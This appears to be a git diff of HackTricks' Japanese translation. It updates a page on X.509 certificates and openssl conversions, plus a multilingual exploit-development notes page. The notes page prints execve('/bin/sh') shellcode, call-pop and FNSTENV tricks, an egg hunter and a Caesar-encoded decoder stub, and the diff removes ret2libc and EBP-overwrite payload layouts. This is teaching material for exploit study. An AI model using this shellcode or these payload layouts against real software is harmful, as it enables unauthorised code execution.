||||
|
@ -179,14 +169,14 @@ rundll32.exe SalseoLoader.dll,main
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見してください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出してください。
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)または [**telegram グループ**](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使用して、**ゼロからヒーローまでAWSハッキングを学ぶ**!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、**ゼロからヒーローまでAWSハッキングを学びましょう**!</summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**場合や**HackTricks をPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 の **@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする**
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -26,33 +26,33 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
**公開鍵証明書**は、暗号化で使用されるデジタルIDであり、誰かが公開鍵を所有していることを証明するために使用されます。これには、鍵の詳細、所有者の身元(サブジェクト)、および信頼された機関(発行者)からのデジタル署名が含まれます。ソフトウェアが発行者を信頼し、署名が有効であれば、鍵の所有者との安全な通信が可能です。
|
||||
|
||||
証明書は、主に[証明機関](https://en.wikipedia.org/wiki/Certificate\_authority)(CAs)によって[公開鍵インフラストラクチャ](https://en.wikipedia.org/wiki/Public-key\_infrastructure)(PKI)のセットアップで発行されます。別の方法は、[信頼のウェブ](https://en.wikipedia.org/wiki/Web\_of\_trust)であり、ユーザーが直接お互いの鍵を検証します。証明書の一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)であり、RFC 5280で概説されている特定のニーズに適応できます。
|
||||
証明書は、主に[証明書機関](https://en.wikipedia.org/wiki/Certificate\_authority)(CAs)によって[公開鍵インフラストラクチャ](https://en.wikipedia.org/wiki/Public-key\_infrastructure)(PKI)のセットアップで発行されます。別の方法は、[信頼のウェブ](https://en.wikipedia.org/wiki/Web\_of\_trust)であり、ユーザーが直接お互いの鍵を検証します。証明書の一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)であり、RFC 5280で詳細に説明されている特定のニーズに適応できます。
|
||||
|
||||
## x509共通フィールド
|
||||
|
||||
### **x509証明書の共通フィールド**
|
||||
|
||||
x509証明書では、いくつかの**フィールド**が証明書の有効性とセキュリティを確保するために重要な役割を果たします。これらのフィールドの詳細は次のとおりです:
|
||||
x509証明書では、いくつかの**フィールド**が証明書の有効性とセキュリティを確保するために重要な役割を果たします。これらのフィールドの詳細は次のとおりです:
|
||||
|
||||
* **バージョン番号**はx509形式のバージョンを示します。
|
||||
* **シリアル番号**は、証明書を一意に識別し、主に取り消しの追跡のために証明機関(CA)のシステム内で使用されます。
|
||||
* **サブジェクト**フィールドは、証明書の所有者を表し、機械、個人、または組織である可能性があります。詳細な識別情報が含まれます:
|
||||
* **Common Name (CN)**: 証明書でカバーされるドメイン。
|
||||
* **Country (C)**、**Locality (L)**、**State or Province (ST, S, or P)**、**Organization (O)**、および**Organizational Unit (OU)** は地理的および組織的な詳細を提供します。
|
||||
* **識別名(DN)** は、完全なサブジェクト識別をカプセル化します。
|
||||
* **発行者**は、証明書を検証し署名した人物を詳細に示し、CAの場合と同様のサブフィールドが含まれます。
|
||||
* **有効期間**は、**Not Before** および **Not After** タイムスタンプによって示され、証明書が特定の日付前または後に使用されないようにします。
|
||||
* 証明書のセキュリティに重要な**公開鍵**セクションは、公開鍵のアルゴリズム、サイズ、およびその他の技術的詳細を指定します。
|
||||
* **x509v3拡張**は、証明書の機能を強化し、**Key Usage**、**Extended Key Usage**、**Subject Alternative Name**、およびその他のプロパティを指定して証明書のアプリケーションを微調整します。
|
||||
- **バージョン番号**はx509形式のバージョンを示します。
|
||||
- **シリアル番号**は、主に取り消し追跡のために証明書機関(CA)システム内で証明書を一意に識別します。
|
||||
- **サブジェクト**フィールドは、証明書の所有者を表し、機械、個人、または組織である可能性があります。以下の詳細な識別情報が含まれます:
|
||||
- **Common Name (CN)**: 証明書でカバーされるドメイン。
|
||||
- **Country (C)**、**Locality (L)**、**State or Province (ST, S, or P)**、**Organization (O)**、および**Organizational Unit (OU)**は地理的および組織的な詳細を提供します。
|
||||
- **Distinguished Name (DN)**は完全なサブジェクト識別をカプセル化します。
|
||||
- **発行者**は、CAのためのサブジェクトと同様のサブフィールドを含め、誰が証明書を検証して署名したかを示します。
|
||||
- **有効期間**は、**Not Before**および**Not After**のタイムスタンプによってマークされ、証明書が特定の日付前または後に使用されないようにします。
|
||||
- 証明書のセキュリティに重要な**公開鍵**セクションは、公開鍵のアルゴリズム、サイズ、およびその他の技術的詳細を指定します。
|
||||
- **x509v3拡張**は、証明書の機能性を向上させ、**Key Usage**、**Extended Key Usage**、**Subject Alternative Name**などのプロパティを指定して証明書のアプリケーションを微調整します。
|
||||
|
||||
#### **Key Usage および Extensions**
|
||||
#### **Key Usageと拡張**
|
||||
|
||||
* **Key Usage** は、公開鍵の暗号化アプリケーションを識別します。たとえば、デジタル署名または鍵の暗号化です。
|
||||
* **Extended Key Usage** は、証明書の使用ケースをさらに絞り込みます。例: TLSサーバー認証用。
|
||||
* **Subject Alternative Name** および **Basic Constraint** は、証明書でカバーされる追加のホスト名を定義し、それがCA証明書かエンドエンティティ証明書かを示します。
|
||||
* **Subject Key Identifier** および **Authority Key Identifier** などの識別子は、鍵の一意性と追跡可能性を確保します。
|
||||
* **Authority Information Access** および **CRL Distribution Points** は、発行CAの検証パスを提供し、証明書の取り消し状態を確認します。
|
||||
* **CT Precertificate SCTs** は、証明書に対する公衆の信頼に不可欠な透明性ログを提供します。
|
||||
- **Key Usage**は、公開鍵の暗号化アプリケーションを識別します(デジタル署名や鍵の暗号化など)。
|
||||
- **Extended Key Usage**は、証明書の使用ケースをさらに絞り込みます(例:TLSサーバー認証用)。
|
||||
- **Subject Alternative Name**および**Basic Constraint**は、証明書でカバーされる追加のホスト名を定義し、それがCA証明書かエンドエンティティ証明書かを示します。
|
||||
- **Subject Key Identifier**および**Authority Key Identifier**などの識別子は、鍵の一意性と追跡可能性を確保します。
|
||||
- **Authority Information Access**および**CRL Distribution Points**は、発行CAを検証し、証明書の取り消し状態を確認するためのパスを提供します。
|
||||
- **CT Precertificate SCTs**は、証明書への公共の信頼に不可欠な透明性ログを提供します。
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
|
@ -76,19 +76,19 @@ print(f"Public Key: {public_key}")
|
|||
```
|
||||
### **OCSPとCRL配布ポイントの違い**
|
||||
|
||||
**OCSP**(**RFC 2560**)は、デジタル公開鍵証明書が取り消されたかどうかを確認するために、クライアントとレスポンダーが協力して、完全な**CRL**をダウンロードする必要なく行う方法です。この方法は、取り消された証明書のシリアル番号のリストを提供しますが、潜在的に大きなファイルをダウンロードする必要がある従来の**CRL**よりも効率的です。CRLには最大512のエントリを含めることができます。詳細は[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)で入手できます。
|
||||
**OCSP**(**RFC 2560**)は、デジタル公開鍵証明書が取り消されたかどうかを確認するために、クライアントとレスポンダーが協力して作業する方法であり、完全な**CRL**をダウンロードする必要がない。この方法は、取り消された証明書のシリアル番号のリストを提供しますが、潜在的に大きなファイルをダウンロードする必要がある従来の**CRL**よりも効率的です。CRLには最大512エントリを含めることができます。詳細は[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)で入手できます。
|
||||
|
||||
### **証明書透明性とは**
|
||||
|
||||
証明書透明性は、SSL証明書の発行と存在がドメイン所有者、CA、およびユーザーに可視化されることによって、証明書関連の脅威に対抗します。その目的は次のとおりです:
|
||||
証明書透明性は、SSL証明書の発行と存在がドメイン所有者、CA、およびユーザーに可視であることを確認することで、証明書関連の脅威に対抗します。その目的は次のとおりです:
|
||||
|
||||
* ドメイン所有者の知識なしにCAがドメインのためにSSL証明書を発行するのを防ぐこと。
|
||||
* ドメイン所有者の知識なしにドメインのためにSSL証明書を発行するCAを防ぐこと。
|
||||
* 誤ってまたは悪意を持って発行された証明書を追跡するためのオープンな監査システムを確立すること。
|
||||
* ユーザーを詐欺的な証明書から保護すること。
|
||||
|
||||
#### **証明書ログ**
|
||||
|
||||
証明書ログは、ネットワークサービスによって維持される証明書の公開監査可能な追加専用レコードです。これらのログは監査目的のための暗号的証拠を提供します。発行権限者と一般の両方がこれらのログに証明書を提出したり、検証のためにクエリを送信したりできます。ログサーバーの正確な数は固定されていませんが、グローバルで1000未満であると予想されています。これらのサーバーは、CA、ISP、または関連するエンティティによって独自に管理される可能性があります。
|
||||
証明書ログは、ネットワークサービスによって維持される証明書の公開監査可能な追加専用レコードであり、監査目的のための暗号的証拠を提供します。発行機関と一般の両方がこれらのログに証明書を提出したり、検証のためにクエリを送信したりできます。ログサーバーの正確な数は固定されていませんが、グローバルで1000未満であると予想されています。これらのサーバーは、CA、ISP、または関心を持つ任意のエンティティによって独立して管理される可能性があります。
|
||||
|
||||
#### **クエリ**
|
||||
|
||||
|
@ -118,13 +118,13 @@ print(f"Public Key: {public_key}")
|
|||
|
||||
### **PFX/P12/PKCS#12フォーマット**
|
||||
|
||||
* サーバー証明書、中間証明書、および秘密鍵を1つのファイルにカプセル化したバイナリフォーマット。
|
||||
* サーバー証明書、中間証明書、および秘密鍵を1つのファイルにカプセル化するバイナリフォーマット。
|
||||
* 拡張子:.pfx、.p12。
|
||||
* 証明書のインポートおよびエクスポートにWindowsで主に使用されます。
|
||||
|
||||
### **フォーマットの変換**
|
||||
|
||||
**PEM変換**は互換性のために重要です:
|
||||
互換性のために**PEM変換**が重要です:
|
||||
|
||||
* **x509からPEMへ**
|
||||
```bash
|
||||
|
@ -157,43 +157,39 @@ openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
|||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
2. PEMをPKCS8に変換します
|
||||
|
||||
```bash
|
||||
openssl pkcs8 -topk8 -inform PEM -outform DER -in private.pem -out private_pkcs8.der -nocrypt
|
||||
```
|
||||
2. PEMをPKCS8に変換します。
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
* **P7BからPFXへ**変換するには、2つのコマンドが必要です:
|
||||
1. P7BをCERに変換します
|
||||
* **P7BをPFXに** 変換するには、2つのコマンドが必要です:
|
||||
1. P7BをCERに変換します。
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
2. CERとプライベートキーをPFXに変換します。
|
||||
2. CERおよびプライベートキーをPFXに変換します。
|
||||
```bash
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,34 +4,16 @@
|
|||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。**
|
||||
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
## **1.STACK OVERFLOWS**
|
||||
|
||||
> buffer overflow, buffer overrun, stack overrun, stack smashing
|
||||
|
||||
Segmentation fault or segfault: When trying to access a memory address that has not been assigned to the process.
|
||||
|
||||
To obtain the address of a function within a program, you can:
|
||||
```
|
||||
objdump -d ./PROGRAMA | grep FUNCION
|
||||
```
|
||||
## ROP
|
||||
|
||||
### sys\_execveへの呼び出し
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **2.SHELLCODE**
|
||||
|
||||
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||||
|
@ -46,7 +28,7 @@ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
|||
int 0x80 ; Execute syscall
|
||||
|
||||
**nasm -f elf assembly.asm** —> Returns a .o file\
|
||||
**ld assembly.o -o shellcodeout** —> Generates an executable with the assembly code, and we can extract the opcodes using **objdump**\
|
||||
**ld assembly.o -o shellcodeout** —> Generates an executable with the assembly code and we can extract the opcodes with **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> To verify that it is indeed our shellcode and extract the OpCodes
|
||||
|
||||
**Verify that the shellcode works**
|
||||
|
@ -59,11 +41,11 @@ fp = (void *)shellcode;
|
|||
fp();
|
||||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
Para confirmar que las llamadas al sistema se están realizando correctamente, compile el programa anterior y verifique que las llamadas al sistema aparecen en **strace ./PROGRAMA_COMPILADO**
|
||||
システムコールが正しく行われているかを確認するには、前述のプログラムをコンパイルし、システムコールが**strace ./PROGRAMA\_COMPILADO**に表示される必要があります。
|
||||
|
||||
When creating shellcodes, a trick can be used. The first instruction is a jump to a call. The call executes the original code and pushes the EIP onto the stack. After the call instruction, we have placed the necessary string, so with that EIP we can point to the string and continue executing the code.
|
||||
シェルコードを作成する際にトリックを使用することができます。最初の命令はcallにジャンプするものです。callは元のコードを呼び出し、さらにEIPをスタックに入れます。call命令の後に必要な文字列を入れており、そのEIPを使用して文字列を指し示し、さらにコードを実行できます。
|
||||
|
||||
EJ **TRICK (/bin/sh)**:
|
||||
例 **TRUCO (/bin/sh)**:
|
||||
```
|
||||
jmp 0x1f ; Salto al último call
|
||||
popl %esi ; Guardamos en ese la dirección al string
|
||||
|
@ -83,7 +65,7 @@ int $0x80 ; exit(0)
|
|||
call -0x24 ; Salto a la primera instrución
|
||||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
**/bin/shを使用した基本的なESP:**
|
||||
**Stackを使用したEJ(/bin/sh):**
|
||||
```
|
||||
section .text
|
||||
global _start
|
||||
|
@ -104,8 +86,7 @@ mov ecx, esp ; arg2 = args[]
|
|||
mov al, 0x0b ; Syscall 11
|
||||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||||
```
|
||||
**EJ FNSTENV:**
|
||||
EJ FNSTENV 命令は、スタック上の環境を保存するために使用されます。
|
||||
**EJ FNSTENV:**
|
||||
```
|
||||
fabs
|
||||
fnstenv [esp-0x0c]
|
||||
|
@ -114,11 +95,11 @@ pop eax ; Guarda el EIP en el que se ejecutó fabs
|
|||
```
|
||||
**Egg Hunter:**
|
||||
|
||||
プロセスに関連付けられたメモリページをスキャンし、そこに保存されているシェルコードを探す小さなコードです(シェルコードに配置されたいくつかの署名を探します)。コードをインジェクトするための小さなスペースしか持っていない場合に便利です。
|
||||
プロセスに関連付けられたメモリページをスキャンし、そこに保存されているシェルコードを探す小さなコードです(シェルコードに配置されたいくつかの署名を探します)。コードをインジェクトするための小さなスペースしかない場合に便利です。
|
||||
|
||||
**Polymorphic Shellcodes**
|
||||
|
||||
これは、暗号化されたシェルで、それを復号化してジャンプする小さなコードを持っており、Call-Popトリックを使用しています。これは**シーザー暗号化の例**です。
|
||||
これは、暗号化されたシェルで、それを復号化してジャンプする小さなコードを持っており、Call-Popトリックを使用しています。これは**シーザー暗号の暗号化例**です。
|
||||
```
|
||||
global _start
|
||||
_start:
|
||||
|
@ -137,121 +118,39 @@ call init
|
|||
sc:
|
||||
;Aquí va el shellcode
|
||||
```
|
||||
1. **Frame Pointer (EBP) の攻撃**
|
||||
|
||||
EBP を変更できるが EIP を変更できない状況で有用です。
|
||||
|
||||
関数から抜ける際に次のアセンブリコードが実行されることが知られています:
|
||||
```
|
||||
movl %ebp, %esp
|
||||
popl %ebp
|
||||
ret
|
||||
```
|
||||
De esta forma, si se puede modificar el EBP al salir de una función (fvuln) que ha sido llamada por otra función, cuando la función que llamó a fvuln finalice, su EIP puede ser modificado.
|
||||
|
||||
En fvuln se puede introducir un EBP falso que apunte a un sitio donde esté la dirección de la shellcode + 4 (hay que sumarle 4 por el pop). Así, al salir de la función, se meterá en ESP el valor de &(\&Shellcode)+4, con el pop se le restará 4 al ESP y este apuntará a la dirección de la shellcode cuando se ejecute el ret.
|
||||
|
||||
**Exploit:**\
|
||||
\&Shellcode + "AAAA" + SHELLCODE + relleno + &(\&Shellcode)+4
|
||||
|
||||
**Off-by-One Exploit**\
|
||||
Se permite modificar tan solo el byte menos significativo del EBP. Se puede llevar a cabo un ataque como el anterior pero la memoria que guarda la dirección de la shellcode debe compartir los 3 primeros bytes con el EBP.
|
||||
|
||||
## **4. Métodos return to Libc**
|
||||
|
||||
Método útil cuando el stack no es ejecutable o deja un buffer muy pequeño para modificar.
|
||||
|
||||
El ASLR provoca que en cada ejecución las funciones se carguen en posiciones distintas de la memoria. Por lo tanto este método puede no ser efectivo en ese caso. Para servidores remotos, como el programa está siendo ejecutado constantemente en la misma dirección sí puede ser útil.
|
||||
|
||||
* **cdecl(C declaration)** Mete los argumentos en el stack y tras salir de la función limpia la pila
|
||||
* **stdcall(standard call)** Mete los argumentos en la pila y es la función llamada la que la limpia
|
||||
* **fastcall** Mete los dos primeros argumentos en registros y el resto en la pila
|
||||
|
||||
Se pone la dirección de la instrucción system de libc y se le pasa como argumento el string “/bin/sh”, normalmente desde una variable de entorno. Además, se usa la dirección a la función exit para que una vez que no se requiera más la shell, salga el programa sin dar problemas (y escribir logs).
|
||||
|
||||
**export SHELL=/bin/sh**
|
||||
|
||||
Para encontrar las direcciones que necesitaremos se puede mirar dentro de **GDB:**\
|
||||
**p system**\
|
||||
**p exit**\
|
||||
**rabin2 -i ejecutable** —> Da la dirección de todas las funciones que usa el programa al cargarse\
|
||||
(Dentro de un start o algun breakpoint): **x/500s $esp** —> Buscamos dentro de aqui el string /bin/sh
|
||||
|
||||
Una vez tengamos estas direcciones el **exploit** quedaría:
|
||||
|
||||
“A” \* DISTANCIA EBP + 4 (EBP: pueden ser 4 "A"s aunque mejor si es el EBP real para evitar fallos de segmentación) + Dirección de **system** (sobreescribirá el EIP) + Dirección de **exit** (al salir de system(“/bin/sh”) se llamará a esta función pues los primero 4bytes del stack son tratados como la siguiente dirección del EIP a ejecutar) + Dirección de “**/bin/sh**” (será el parámetro pasado a system)
|
||||
|
||||
De esta forma el EIP se sobreescribirá con la dirección de system la cual recibirá como parámetro el string “/bin/sh” y al salir de este ejecutará la función exit().
|
||||
|
||||
Es posible encontrarse en la situación de que algún byte de alguna dirección de alguna función sea nulo o espacio (\x20). En ese caso se pueden desensamblar las direcciones anteriores a dicha función pues probablemente haya varios NOPs que nos permitan poder llamar a alguno de ellos en vez de a la función directamente (por ejemplo con > x/8i system-4).
|
||||
|
||||
Este método funciona pues al llamar a una función como system usando el opcode **ret** en vez de **call**, la función entiende que los primeros 4bytes serán la dirección **EIP** a la que volver.
|
||||
|
||||
Una técnica interesante con este método es el llamar a **strncpy()** para mover un payload del stack al heap y posteriormente usar **gets()** para ejecutar dicho payload.
|
||||
|
||||
Otra técnica interesante es el uso de **mprotect()** la cual permite asignar los permisos deseados a cualquier parte de la memoria. Sirve o servía en BDS, MacOS y OpenBSD, pero no en linux(controla que no se puedan otorgar a la vez permisos de escritura y ejecución). Con este ataque se podría volver a configurar la pila como ejecutable.
|
||||
|
||||
**Encadenamiento de funciones**
|
||||
|
||||
Basándonos en la técnica anterior, esta forma de exploit consiste en:\
|
||||
Relleno + \&Función1 + \&pop;ret; + \&arg\_fun1 + \&Función2 + \&pop;ret; + \&arg\_fun2 + …
|
||||
|
||||
De esta forma se pueden encadenar funciones a las que llamar. Además, si se quieren usar funciones con varios argumentos, se pueden poner los argumentos necesarios (ej 4) y poner los 4 argumentos y buscar dirección a un sitio con opcodes: pop, pop, pop, pop, ret —> **objdump -d ejecutable**
|
||||
|
||||
**Encadenamiento mediante falseo de frames (encadenamiento de EBPs)**
|
||||
|
||||
Consiste en aprovechar el poder manipular el EBP para ir encadenando la ejecución de varias funciones a través del EBP y de "leave;ret"
|
||||
|
||||
RELLENO
|
||||
|
||||
* Situamos en el EBP un EBP falso que apunta a: 2º EBP\_falso + la función a ejecutar: (\&system() + \&leave;ret + &“/bin/sh”)
|
||||
* En el EIP ponemos de dirección una función &(leave;ret)
|
||||
|
||||
Iniciamos la shellcode con la dirección a la siguiente parte de la shellcode, por ej: 2ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/sh”
|
||||
|
